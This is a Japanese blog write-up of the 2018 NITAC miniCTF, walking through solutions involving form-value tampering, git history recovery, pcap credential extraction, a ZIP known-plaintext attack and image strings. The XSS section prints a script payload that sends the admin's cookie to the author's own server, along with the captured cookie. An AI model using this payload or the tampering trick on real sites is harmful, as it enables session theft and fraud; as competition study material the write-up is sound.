NITAC miniCTFに参加した
2/4, 明石高専で開かれたminiCTFに参加しました。
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。
#nitac_mini_ctf
— ←これで合格 (@sei0o) 2018年2月4日
チームSMAPのpersonal-developmentとして出てチーム個人共に1位でした!!!
これからもPDアンチとして精進します🔥 pic.twitter.com/7aDAqUFZcs
以下write-up。#nitac_mini_ctf お疲れ様でした!! pic.twitter.com/4zv010SSCG
— Akashi_SN (@Akashi_SN) 2018年2月4日
Checkcoin
500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。
ソースを見るとこんな感じ(記憶から再現)なので、amount
のvalue
を-10000
にするとNEMが加算されるようになり、無事FLAGを入手できる。
<input type="hidden" name="amount" value="5"> <input type="submit" value="5 nem">
Where flag?
gitを使った問題。
たまたまGitの配管コマンドについての記事を読んでいたのでこれを使った。
含まれているflag.txt
は偽物。
$ cat flag.txt NITAC{This_is_un!not_flag}
git log
するも、嘘のフラグに書き換えた記録しかない。
$ git log --oneline e0168bf (HEAD -> master) Change to lie flag 0001fda add tmp_flag
本番ではなんかいろいろウワーッとやったので覚えていない。
reflog
を使えばChange to real flag
からreset
で履歴が書き換えられたことが確認できるらしい。
$ git reflog e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag 0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5 167eff1 HEAD@{2}: commit: Change to real flag 0001fda HEAD@{3}: commit (initial): add tmp_flag
そこからは配管コマンドを使って、
$ git ls-tree 167e 100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf flag.txt $ git cat-file blob fa34 NITAC{You_can_change_the_past}
Basic!
.pcap
が渡される。http
で絞りこんであげると、Basic認証のパケットがある。
http://10.0.0.111/
にアクセスし、ID,PWをhoge
, M2Fuchagam#q
と入力するとFLAGにアクセスできる。
7ch
「adminのcookieを盗め」という問題。
自分「SQLi〜〜うーん、無理!w」
運営「Demand Administrator
のフォームにXSSの脆弱性があるよ〜」
自分「(Googleを開く)」
python -m http.server
で適当にサーバを立ち上げたあと、<input>
のmaxlength
属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>
を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。
$ python -m http.server 10.0.0.110 - - [04/Feb/2018 17:48:13] code 404, message File not found 10.0.0.110 - - [04/Feb/2018 17:48:13] "GET /admin=89iu4whyf9poqjfj89ygw3n0jfsjo82 HTTP/1.1" 404 -
また、Login
のページにFLAGが/admin/flag
にあることが示されているので、Cookieをadmin=89iu....
に書き換えてアクセスするとFLAGが出る。
ZIPZIP
既知平文攻撃。
NITACminiCTF.png
はconnpassページで公開されている。エスパー。
$ zip downloaded.zip downloaded.png $ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip $ unzip output.zip $ cat flag.txt NITAC{unzip_unzip_unzip}
John thinks...
@Akashi_SN への愛が足りずにFLAGを予測できなかった。無念。
strings
コマンドで。
$ strings hoge.jpg -n 20 NITAC{akashi_sn_kawaii}cms